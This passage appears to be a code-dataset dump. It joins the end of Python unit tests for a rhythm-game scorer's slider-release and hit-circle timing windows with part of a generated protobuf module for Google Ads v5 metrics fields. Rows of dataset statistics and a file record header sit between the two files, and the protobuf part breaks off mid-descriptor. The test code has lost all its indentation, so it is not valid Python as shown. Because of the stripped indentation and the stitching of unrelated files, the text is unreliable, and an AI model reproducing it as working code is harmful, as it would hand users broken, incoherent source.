settings.pos_rel_miss_range = 1000 # ms point of late release window
settings.neg_rel_miss_range = 1000 # ms point of early release window
# Time: 0 ms -> 3000 ms
# Location: At slider release (300, 0)
# Scoring: Awaiting release at slider end (750 ms @ (300, 0))
for ms in range(0, 3000):
score_data = {}
adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 300, 0)
offset = ms - self.map_data.iloc[3]['time']
if offset <= -settings.neg_rel_miss_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
elif -settings.neg_rel_miss_range < offset <= -settings.neg_rel_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms')
elif -settings.neg_rel_range < offset <= settings.pos_rel_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_AIMP, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_HITR, f'Offset: {offset} ms')
elif settings.pos_rel_range < offset <= settings.pos_rel_miss_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms')
elif settings.pos_rel_miss_range < offset:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
else:
self.fail('Testing error!')
def test_slider_end_release_nomisaim__range_nowindow_miss(self):
settings = StdScoreData.Settings()
settings.release_range = True
settings.release_window = False
settings.release_miss = True
# Set hitwindow ranges to what these tests have been written for
settings.pos_hit_range = 300 # ms point of late hit window
settings.neg_hit_range = 300 # ms point of early hit window
settings.pos_hit_miss_range = 450 # ms point of late miss window
settings.neg_hit_miss_range = 450 # ms point of early miss window
settings.pos_rel_range = 500 # ms point of late release window
settings.neg_rel_range = 500 # ms point of early release window
settings.pos_rel_miss_range = 1000 # ms point of late release window
settings.neg_rel_miss_range = 1000 # ms point of early release window
# Time: 0 ms -> 3000 ms
# Location: At slider release (300, 0)
# Scoring: Awaiting release at slider end (750 ms @ (300, 0))
for ms in range(0, 3000):
score_data = {}
adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 300, 0)
offset = ms - self.map_data.iloc[3]['time']
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_AIMP, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_HITR, f'Offset: {offset} ms')
def test_slider_end_release_nomisaim__range_window_nomiss(self):
settings = StdScoreData.Settings()
settings.release_range = True
settings.release_window = True
settings.release_miss = False
# Set hitwindow ranges to what these tests have been written for
settings.pos_hit_range = 300 # ms point of late hit window
settings.neg_hit_range = 300 # ms point of early hit window
settings.pos_hit_miss_range = 450 # ms point of late miss window
settings.neg_hit_miss_range = 450 # ms point of early miss window
settings.pos_rel_range = 500 # ms point of late release window
settings.neg_rel_range = 500 # ms point of early release window
settings.pos_rel_miss_range = 1000 # ms point of late release window
settings.neg_rel_miss_range = 1000 # ms point of early release window
# Time: 0 ms -> 3000 ms
# Location: At slider release (300, 0)
# Scoring: Awaiting release at slider end (750 ms @ (300, 0))
for ms in range(0, 3000):
score_data = {}
adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 300, 0)
offset = ms - self.map_data.iloc[3]['time']
if offset <= -settings.neg_rel_miss_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
elif -settings.neg_rel_miss_range < offset <= -settings.neg_rel_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
elif -settings.neg_rel_range < offset <= settings.pos_rel_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_AIMP, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_HITR, f'Offset: {offset} ms')
elif settings.pos_rel_range < offset <= settings.pos_rel_miss_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
elif settings.pos_rel_miss_range < offset:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
else:
self.fail('Testing error!')
def test_slider_end_release_nomisaim__norange_window_miss(self):
settings = StdScoreData.Settings()
settings.release_range = False
settings.release_window = True
settings.release_miss = True
# Set hitwindow ranges to what these tests have been written for
settings.pos_hit_range = 300 # ms point of late hit window
settings.neg_hit_range = 300 # ms point of early hit window
settings.pos_hit_miss_range = 450 # ms point of late miss window
settings.neg_hit_miss_range = 450 # ms point of early miss window
settings.pos_rel_range = 500 # ms point of late release window
settings.neg_rel_range = 500 # ms point of early release window
settings.pos_rel_miss_range = 1000 # ms point of late release window
settings.neg_rel_miss_range = 1000 # ms point of early release window
# Time: 0 ms -> 3000 ms
# Location: At slider release (300, 0)
# Scoring: Awaiting release at slider end (750 ms @ (300, 0))
for ms in range(0, 3000):
score_data = {}
adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[3:], ms, 300, 0)
offset = ms - self.map_data.iloc[3]['time']
if offset <= -settings.neg_rel_miss_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
elif -settings.neg_rel_miss_range < offset <= -settings.neg_rel_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms')
elif -settings.neg_rel_range < offset <= settings.pos_rel_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_AIMP, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_HITR, f'Offset: {offset} ms')
elif settings.pos_rel_range < offset <= settings.pos_rel_miss_range:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOTE, f'Offset: {offset} ms')
self.assertEqual(score_data[0][6], StdScoreData.TYPE_MISS, f'Offset: {offset} ms')
elif settings.pos_rel_miss_range < offset:
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
else:
self.fail('Testing error!')
def test_circle_nomisaim(self):
settings = StdScoreData.Settings()
# Set hitwindow ranges to what these tests have been written for
settings.pos_hit_range = 300 # ms point of late hit window
settings.neg_hit_range = 300 # ms point of early hit window
settings.pos_hit_miss_range = 450 # ms point of late miss window
settings.neg_hit_miss_range = 450 # ms point of early miss window
settings.pos_rel_range = 500 # ms point of late release window
settings.neg_rel_range = 500 # ms point of early release window
settings.pos_rel_miss_range = 1000 # ms point of late release window
settings.neg_rel_miss_range = 1000 # ms point of early release window
# Time: 0 ms -> 3000 ms
# Location: At 1st hitcircle (500, 500)
# Scoring: Awaiting press at hitcircle (1000 ms @ (500, 500))
# Behavior:
# Scorepoint awaits PRESS -> NOP
# -> NOP
for ms in range(0, 3000):
score_data = {}
adv = StdScoreData._StdScoreData__process_release(settings, score_data, self.map_data.iloc[1:], ms, 500, 500)
offset = ms - self.map_data.iloc[1]['time']
self.assertEqual(adv, StdScoreData._StdScoreData__ADV_NOP, f'Offset: {offset} ms')
self.assertEqual(len(score_data), 0, f'Offset: {offset} ms')
| 49.358209
| 123
| 0.627371
| 2,960
| 23,149
| 4.686486
| 0.043581
| 0.044406
| 0.057093
| 0.060554
| 0.955522
| 0.947953
| 0.939518
| 0.925461
| 0.920848
| 0.917892
| 0
| 0.043183
| 0.286751
| 23,149
| 469
| 124
| 49.358209
| 0.796984
| 0.22636
| 0
| 0.857143
| 0
| 0
| 0.069224
| 0
| 0
| 0
| 0
| 0
| 0.190476
| 1
| 0.044218
| false
| 0.003401
| 0.013605
| 0
| 0.061224
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
312ec1b772b969f81d91d8a597563620b0cb2b43
| 148,599
|
py
|
Python
|
google/ads/google_ads/v5/proto/common/metrics_pb2.py
|
arammaliachi/google-ads-python
|
a4fe89567bd43eb784410523a6306b5d1dd9ee67
|
[
"Apache-2.0"
] | 1
|
2021-04-09T04:28:47.000Z
|
2021-04-09T04:28:47.000Z
|
google/ads/google_ads/v5/proto/common/metrics_pb2.py
|
arammaliachi/google-ads-python
|
a4fe89567bd43eb784410523a6306b5d1dd9ee67
|
[
"Apache-2.0"
] | null | null | null |
google/ads/google_ads/v5/proto/common/metrics_pb2.py
|
arammaliachi/google-ads-python
|
a4fe89567bd43eb784410523a6306b5d1dd9ee67
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/ads/googleads_v5/proto/common/metrics.proto
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from google.ads.google_ads.v5.proto.enums import interaction_event_type_pb2 as google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_interaction__event__type__pb2
from google.ads.google_ads.v5.proto.enums import quality_score_bucket_pb2 as google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_quality__score__bucket__pb2
from google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='google/ads/googleads_v5/proto/common/metrics.proto',
package='google.ads.googleads.v5.common',
syntax='proto3',
serialized_options=b'\n\"com.google.ads.googleads.v5.commonB\014MetricsProtoP\001ZDgoogle.golang.org/genproto/googleapis/ads/googleads/v5/common;common\242\002\003GAA\252\002\036Google.Ads.GoogleAds.V5.Common\312\002\036Google\\Ads\\GoogleAds\\V5\\Common\352\002\"Google::Ads::GoogleAds::V5::Common',
create_key=_descriptor._internal_create_key,
serialized_pb=b'\n2google/ads/googleads_v5/proto/common/metrics.proto\x12\x1egoogle.ads.googleads.v5.common\x1a@google/ads/googleads_v5/proto/enums/interaction_event_type.proto\x1a>google/ads/googleads_v5/proto/enums/quality_score_bucket.proto\x1a\x1cgoogle/api/annotations.proto\"\xf9?\n\x07Metrics\x12\x30\n\"absolute_top_impression_percentage\x18\xb7\x01 \x01(\x01H\x00\x88\x01\x01\x12\x1d\n\x0f\x61\x63tive_view_cpm\x18\xb8\x01 \x01(\x01H\x01\x88\x01\x01\x12\x1d\n\x0f\x61\x63tive_view_ctr\x18\xb9\x01 \x01(\x01H\x02\x88\x01\x01\x12%\n\x17\x61\x63tive_view_impressions\x18\xba\x01 \x01(\x03H\x03\x88\x01\x01\x12\'\n\x19\x61\x63tive_view_measurability\x18\xbb\x01 \x01(\x01H\x04\x88\x01\x01\x12\x30\n\"active_view_measurable_cost_micros\x18\xbc\x01 \x01(\x03H\x05\x88\x01\x01\x12\x30\n\"active_view_measurable_impressions\x18\xbd\x01 \x01(\x03H\x06\x88\x01\x01\x12%\n\x17\x61\x63tive_view_viewability\x18\xbe\x01 \x01(\x01H\x07\x88\x01\x01\x12\x34\n&all_conversions_from_interactions_rate\x18\xbf\x01 \x01(\x01H\x08\x88\x01\x01\x12#\n\x15\x61ll_conversions_value\x18\xc0\x01 \x01(\x01H\t\x88\x01\x01\x12\x1d\n\x0f\x61ll_conversions\x18\xc1\x01 \x01(\x01H\n\x88\x01\x01\x12,\n\x1e\x61ll_conversions_value_per_cost\x18\xc2\x01 \x01(\x01H\x0b\x88\x01\x01\x12\x30\n\"all_conversions_from_click_to_call\x18\xc3\x01 \x01(\x01H\x0c\x88\x01\x01\x12-\n\x1f\x61ll_conversions_from_directions\x18\xc4\x01 \x01(\x01H\r\x88\x01\x01\x12\x45\n7all_conversions_from_interactions_value_per_interaction\x18\xc5\x01 \x01(\x01H\x0e\x88\x01\x01\x12\'\n\x19\x61ll_conversions_from_menu\x18\xc6\x01 \x01(\x01H\x0f\x88\x01\x01\x12(\n\x1a\x61ll_conversions_from_order\x18\xc7\x01 \x01(\x01H\x10\x88\x01\x01\x12\x33\n%all_conversions_from_other_engagement\x18\xc8\x01 \x01(\x01H\x11\x88\x01\x01\x12.\n all_conversions_from_store_visit\x18\xc9\x01 \x01(\x01H\x12\x88\x01\x01\x12\x30\n\"all_conversions_from_store_website\x18\xca\x01 \x01(\x01H\x13\x88\x01\x01\x12\x1a\n\x0c\x61verage_cost\x18\xcb\x01 \x01(\x01H\x14\x88\x01\x01\x12\x19\n\x0b\x61verage_cpc\x18\xcc\x01 \x01(\x01H\x15\x88\x01\x01\x12\x19\n\x0b\x61verage_cpe\x18\xcd\x01 \x01(\x01H\x16\x88\x01\x01\x12\x19\n\x0b\x61verage_cpm\x18\xce\x01 \x01(\x01H\x17\x88\x01\x01\x12\x19\n\x0b\x61verage_cpv\x18\xcf\x01 \x01(\x01H\x18\x88\x01\x01\x12 \n\x12\x61verage_page_views\x18\xd0\x01 \x01(\x01H\x19\x88\x01\x01\x12\"\n\x14\x61verage_time_on_site\x18\xd1\x01 \x01(\x01H\x1a\x88\x01\x01\x12\'\n\x19\x62\x65nchmark_average_max_cpc\x18\xd2\x01 \x01(\x01H\x1b\x88\x01\x01\x12\x1b\n\rbenchmark_ctr\x18\xd3\x01 \x01(\x01H\x1c\x88\x01\x01\x12\x19\n\x0b\x62ounce_rate\x18\xd4\x01 \x01(\x01H\x1d\x88\x01\x01\x12\x14\n\x06\x63licks\x18\x83\x01 \x01(\x03H\x1e\x88\x01\x01\x12\x1d\n\x0f\x63ombined_clicks\x18\x9c\x01 \x01(\x03H\x1f\x88\x01\x01\x12\'\n\x19\x63ombined_clicks_per_query\x18\x9d\x01 \x01(\x01H \x88\x01\x01\x12\x1e\n\x10\x63ombined_queries\x18\x9e\x01 \x01(\x03H!\x88\x01\x01\x12\x32\n$content_budget_lost_impression_share\x18\x9f\x01 \x01(\x01H\"\x88\x01\x01\x12&\n\x18\x63ontent_impression_share\x18\xa0\x01 \x01(\x01H#\x88\x01\x01\x12\x38\n*conversion_last_received_request_date_time\x18\xa1\x01 \x01(\tH$\x88\x01\x01\x12-\n\x1f\x63onversion_last_conversion_date\x18\xa2\x01 \x01(\tH%\x88\x01\x01\x12\x30\n\"content_rank_lost_impression_share\x18\xa3\x01 \x01(\x01H&\x88\x01\x01\x12\x30\n\"conversions_from_interactions_rate\x18\xa4\x01 \x01(\x01H\'\x88\x01\x01\x12\x1f\n\x11\x63onversions_value\x18\xa5\x01 \x01(\x01H(\x88\x01\x01\x12(\n\x1a\x63onversions_value_per_cost\x18\xa6\x01 \x01(\x01H)\x88\x01\x01\x12\x41\n3conversions_from_interactions_value_per_interaction\x18\xa7\x01 \x01(\x01H*\x88\x01\x01\x12\x19\n\x0b\x63onversions\x18\xa8\x01 \x01(\x01H+\x88\x01\x01\x12\x19\n\x0b\x63ost_micros\x18\xa9\x01 \x01(\x03H,\x88\x01\x01\x12&\n\x18\x63ost_per_all_conversions\x18\xaa\x01 \x01(\x01H-\x88\x01\x01\x12!\n\x13\x63ost_per_conversion\x18\xab\x01 \x01(\x01H.\x88\x01\x01\x12:\n,cost_per_current_model_attributed_conversion\x18\xac\x01 \x01(\x01H/\x88\x01\x01\x12&\n\x18\x63ross_device_conversions\x18\xad\x01 \x01(\x01H0\x88\x01\x01\x12\x11\n\x03\x63tr\x18\xae\x01 \x01(\x01H1\x88\x01\x01\x12\x32\n$current_model_attributed_conversions\x18\xaf\x01 \x01(\x01H2\x88\x01\x01\x12I\n;current_model_attributed_conversions_from_interactions_rate\x18\xb0\x01 \x01(\x01H3\x88\x01\x01\x12Z\nLcurrent_model_attributed_conversions_from_interactions_value_per_interaction\x18\xb1\x01 \x01(\x01H4\x88\x01\x01\x12\x38\n*current_model_attributed_conversions_value\x18\xb2\x01 \x01(\x01H5\x88\x01\x01\x12\x41\n3current_model_attributed_conversions_value_per_cost\x18\xb3\x01 \x01(\x01H6\x88\x01\x01\x12\x1d\n\x0f\x65ngagement_rate\x18\xb4\x01 \x01(\x01H7\x88\x01\x01\x12\x19\n\x0b\x65ngagements\x18\xb5\x01 \x01(\x03H8\x88\x01\x01\x12-\n\x1fhotel_average_lead_value_micros\x18\xd5\x01 \x01(\x01H9\x88\x01\x01\x12/\n!hotel_price_difference_percentage\x18\xd6\x01 \x01(\x01H:\x88\x01\x01\x12(\n\x1ahotel_eligible_impressions\x18\xd7\x01 \x01(\x03H;\x88\x01\x01\x12s\n!historical_creative_quality_score\x18P \x01(\x0e\x32H.google.ads.googleads.v5.enums.QualityScoreBucketEnum.QualityScoreBucket\x12w\n%historical_landing_page_quality_score\x18Q \x01(\x0e\x32H.google.ads.googleads.v5.enums.QualityScoreBucketEnum.QualityScoreBucket\x12&\n\x18historical_quality_score\x18\xd8\x01 \x01(\x03H<\x88\x01\x01\x12q\n\x1fhistorical_search_predicted_ctr\x18S \x01(\x0e\x32H.google.ads.googleads.v5.enums.QualityScoreBucketEnum.QualityScoreBucket\x12\x1c\n\x0egmail_forwards\x18\xd9\x01 \x01(\x03H=\x88\x01\x01\x12\x19\n\x0bgmail_saves\x18\xda\x01 \x01(\x03H>\x88\x01\x01\x12$\n\x16gmail_secondary_clicks\x18\xdb\x01 \x01(\x03H?\x88\x01\x01\x12*\n\x1cimpressions_from_store_reach\x18\xdc\x01 \x01(\x03H@\x88\x01\x01\x12\x19\n\x0bimpressions\x18\xdd\x01 \x01(\x03HA\x88\x01\x01\x12\x1e\n\x10interaction_rate\x18\xde\x01 \x01(\x01HB\x88\x01\x01\x12\x1a\n\x0cinteractions\x18\xdf\x01 \x01(\x03HC\x88\x01\x01\x12m\n\x17interaction_event_types\x18\x64 \x03(\x0e\x32L.google.ads.googleads.v5.enums.InteractionEventTypeEnum.InteractionEventType\x12 \n\x12invalid_click_rate\x18\xe0\x01 \x01(\x01HD\x88\x01\x01\x12\x1c\n\x0einvalid_clicks\x18\xe1\x01 \x01(\x03HE\x88\x01\x01\x12\x1b\n\rmessage_chats\x18\xe2\x01 \x01(\x03HF\x88\x01\x01\x12!\n\x13message_impressions\x18\xe3\x01 \x01(\x03HG\x88\x01\x01\x12\x1f\n\x11message_chat_rate\x18\xe4\x01 \x01(\x01HH\x88\x01\x01\x12/\n!mobile_friendly_clicks_percentage\x18\xe5\x01 \x01(\x01HI\x88\x01\x01\x12\x1c\n\x0eorganic_clicks\x18\xe6\x01 \x01(\x03HJ\x88\x01\x01\x12&\n\x18organic_clicks_per_query\x18\xe7\x01 \x01(\x01HK\x88\x01\x01\x12!\n\x13organic_impressions\x18\xe8\x01 \x01(\x03HL\x88\x01\x01\x12+\n\x1dorganic_impressions_per_query\x18\xe9\x01 \x01(\x01HM\x88\x01\x01\x12\x1d\n\x0forganic_queries\x18\xea\x01 \x01(\x03HN\x88\x01\x01\x12\"\n\x14percent_new_visitors\x18\xeb\x01 \x01(\x01HO\x88\x01\x01\x12\x19\n\x0bphone_calls\x18\xec\x01 \x01(\x03HP\x88\x01\x01\x12\x1f\n\x11phone_impressions\x18\xed\x01 \x01(\x03HQ\x88\x01\x01\x12 \n\x12phone_through_rate\x18\xee\x01 \x01(\x01HR\x88\x01\x01\x12\x1a\n\x0crelative_ctr\x18\xef\x01 \x01(\x01HS\x88\x01\x01\x12\x32\n$search_absolute_top_impression_share\x18\x88\x01 \x01(\x01HT\x88\x01\x01\x12>\n0search_budget_lost_absolute_top_impression_share\x18\x89\x01 \x01(\x01HU\x88\x01\x01\x12\x31\n#search_budget_lost_impression_share\x18\x8a\x01 \x01(\x01HV\x88\x01\x01\x12\x35\n\'search_budget_lost_top_impression_share\x18\x8b\x01 \x01(\x01HW\x88\x01\x01\x12 \n\x12search_click_share\x18\x8c\x01 \x01(\x01HX\x88\x01\x01\x12\x31\n#search_exact_match_impression_share\x18\x8d\x01 \x01(\x01HY\x88\x01\x01\x12%\n\x17search_impression_share\x18\x8e\x01 \x01(\x01HZ\x88\x01\x01\x12<\n.search_rank_lost_absolute_top_impression_share\x18\x8f\x01 \x01(\x01H[\x88\x01\x01\x12/\n!search_rank_lost_impression_share\x18\x90\x01 \x01(\x01H\\\x88\x01\x01\x12\x33\n%search_rank_lost_top_impression_share\x18\x91\x01 \x01(\x01H]\x88\x01\x01\x12)\n\x1bsearch_top_impression_share\x18\x92\x01 \x01(\x01H^\x88\x01\x01\x12\x19\n\x0bspeed_score\x18\x93\x01 \x01(\x03H_\x88\x01\x01\x12\'\n\x19top_impression_percentage\x18\x94\x01 \x01(\x01H`\x88\x01\x01\x12>\n0valid_accelerated_mobile_pages_clicks_percentage\x18\x95\x01 \x01(\x01Ha\x88\x01\x01\x12\'\n\x19value_per_all_conversions\x18\x96\x01 \x01(\x01Hb\x88\x01\x01\x12\"\n\x14value_per_conversion\x18\x97\x01 \x01(\x01Hc\x88\x01\x01\x12;\n-value_per_current_model_attributed_conversion\x18\x98\x01 \x01(\x01Hd\x88\x01\x01\x12&\n\x18video_quartile_p100_rate\x18\x84\x01 \x01(\x01He\x88\x01\x01\x12%\n\x17video_quartile_p25_rate\x18\x85\x01 \x01(\x01Hf\x88\x01\x01\x12%\n\x17video_quartile_p50_rate\x18\x86\x01 \x01(\x01Hg\x88\x01\x01\x12%\n\x17video_quartile_p75_rate\x18\x87\x01 \x01(\x01Hh\x88\x01\x01\x12\x1d\n\x0fvideo_view_rate\x18\x99\x01 \x01(\x01Hi\x88\x01\x01\x12\x19\n\x0bvideo_views\x18\x9a\x01 \x01(\x03Hj\x88\x01\x01\x12&\n\x18view_through_conversions\x18\x9b\x01 \x01(\x03Hk\x88\x01\x01\x42%\n#_absolute_top_impression_percentageB\x12\n\x10_active_view_cpmB\x12\n\x10_active_view_ctrB\x1a\n\x18_active_view_impressionsB\x1c\n\x1a_active_view_measurabilityB%\n#_active_view_measurable_cost_microsB%\n#_active_view_measurable_impressionsB\x1a\n\x18_active_view_viewabilityB)\n\'_all_conversions_from_interactions_rateB\x18\n\x16_all_conversions_valueB\x12\n\x10_all_conversionsB!\n\x1f_all_conversions_value_per_costB%\n#_all_conversions_from_click_to_callB\"\n _all_conversions_from_directionsB:\n8_all_conversions_from_interactions_value_per_interactionB\x1c\n\x1a_all_conversions_from_menuB\x1d\n\x1b_all_conversions_from_orderB(\n&_all_conversions_from_other_engagementB#\n!_all_conversions_from_store_visitB%\n#_all_conversions_from_store_websiteB\x0f\n\r_average_costB\x0e\n\x0c_average_cpcB\x0e\n\x0c_average_cpeB\x0e\n\x0c_average_cpmB\x0e\n\x0c_average_cpvB\x15\n\x13_average_page_viewsB\x17\n\x15_average_time_on_siteB\x1c\n\x1a_benchmark_average_max_cpcB\x10\n\x0e_benchmark_ctrB\x0e\n\x0c_bounce_rateB\t\n\x07_clicksB\x12\n\x10_combined_clicksB\x1c\n\x1a_combined_clicks_per_queryB\x13\n\x11_combined_queriesB\'\n%_content_budget_lost_impression_shareB\x1b\n\x19_content_impression_shareB-\n+_conversion_last_received_request_date_timeB\"\n _conversion_last_conversion_dateB%\n#_content_rank_lost_impression_shareB%\n#_conversions_from_interactions_rateB\x14\n\x12_conversions_valueB\x1d\n\x1b_conversions_value_per_costB6\n4_conversions_from_interactions_value_per_interactionB\x0e\n\x0c_conversionsB\x0e\n\x0c_cost_microsB\x1b\n\x19_cost_per_all_conversionsB\x16\n\x14_cost_per_conversionB/\n-_cost_per_current_model_attributed_conversionB\x1b\n\x19_cross_device_conversionsB\x06\n\x04_ctrB\'\n%_current_model_attributed_conversionsB>\n<_current_model_attributed_conversions_from_interactions_rateBO\nM_current_model_attributed_conversions_from_interactions_value_per_interactionB-\n+_current_model_attributed_conversions_valueB6\n4_current_model_attributed_conversions_value_per_costB\x12\n\x10_engagement_rateB\x0e\n\x0c_engagementsB\"\n _hotel_average_lead_value_microsB$\n\"_hotel_price_difference_percentageB\x1d\n\x1b_hotel_eligible_impressionsB\x1b\n\x19_historical_quality_scoreB\x11\n\x0f_gmail_forwardsB\x0e\n\x0c_gmail_savesB\x19\n\x17_gmail_secondary_clicksB\x1f\n\x1d_impressions_from_store_reachB\x0e\n\x0c_impressionsB\x13\n\x11_interaction_rateB\x0f\n\r_interactionsB\x15\n\x13_invalid_click_rateB\x11\n\x0f_invalid_clicksB\x10\n\x0e_message_chatsB\x16\n\x14_message_impressionsB\x14\n\x12_message_chat_rateB$\n\"_mobile_friendly_clicks_percentageB\x11\n\x0f_organic_clicksB\x1b\n\x19_organic_clicks_per_queryB\x16\n\x14_organic_impressionsB \n\x1e_organic_impressions_per_queryB\x12\n\x10_organic_queriesB\x17\n\x15_percent_new_visitorsB\x0e\n\x0c_phone_callsB\x14\n\x12_phone_impressionsB\x15\n\x13_phone_through_rateB\x0f\n\r_relative_ctrB\'\n%_search_absolute_top_impression_shareB3\n1_search_budget_lost_absolute_top_impression_shareB&\n$_search_budget_lost_impression_shareB*\n(_search_budget_lost_top_impression_shareB\x15\n\x13_search_click_shareB&\n$_search_exact_match_impression_shareB\x1a\n\x18_search_impression_shareB1\n/_search_rank_lost_absolute_top_impression_shareB$\n\"_search_rank_lost_impression_shareB(\n&_search_rank_lost_top_impression_shareB\x1e\n\x1c_search_top_impression_shareB\x0e\n\x0c_speed_scoreB\x1c\n\x1a_top_impression_percentageB3\n1_valid_accelerated_mobile_pages_clicks_percentageB\x1c\n\x1a_value_per_all_conversionsB\x17\n\x15_value_per_conversionB0\n._value_per_current_model_attributed_conversionB\x1b\n\x19_video_quartile_p100_rateB\x1a\n\x18_video_quartile_p25_rateB\x1a\n\x18_video_quartile_p50_rateB\x1a\n\x18_video_quartile_p75_rateB\x12\n\x10_video_view_rateB\x0e\n\x0c_video_viewsB\x1b\n\x19_view_through_conversionsB\xe7\x01\n\"com.google.ads.googleads.v5.commonB\x0cMetricsProtoP\x01ZDgoogle.golang.org/genproto/googleapis/ads/googleads/v5/common;common\xa2\x02\x03GAA\xaa\x02\x1eGoogle.Ads.GoogleAds.V5.Common\xca\x02\x1eGoogle\\Ads\\GoogleAds\\V5\\Common\xea\x02\"Google::Ads::GoogleAds::V5::Commonb\x06proto3'
,
dependencies=[google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_interaction__event__type__pb2.DESCRIPTOR,google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_quality__score__bucket__pb2.DESCRIPTOR,google_dot_api_dot_annotations__pb2.DESCRIPTOR,])
_METRICS = _descriptor.Descriptor(
name='Metrics',
full_name='google.ads.googleads.v5.common.Metrics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='absolute_top_impression_percentage', full_name='google.ads.googleads.v5.common.Metrics.absolute_top_impression_percentage', index=0,
number=183, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='active_view_cpm', full_name='google.ads.googleads.v5.common.Metrics.active_view_cpm', index=1,
number=184, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='active_view_ctr', full_name='google.ads.googleads.v5.common.Metrics.active_view_ctr', index=2,
number=185, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='active_view_impressions', full_name='google.ads.googleads.v5.common.Metrics.active_view_impressions', index=3,
number=186, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='active_view_measurability', full_name='google.ads.googleads.v5.common.Metrics.active_view_measurability', index=4,
number=187, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='active_view_measurable_cost_micros', full_name='google.ads.googleads.v5.common.Metrics.active_view_measurable_cost_micros', index=5,
number=188, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='active_view_measurable_impressions', full_name='google.ads.googleads.v5.common.Metrics.active_view_measurable_impressions', index=6,
number=189, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
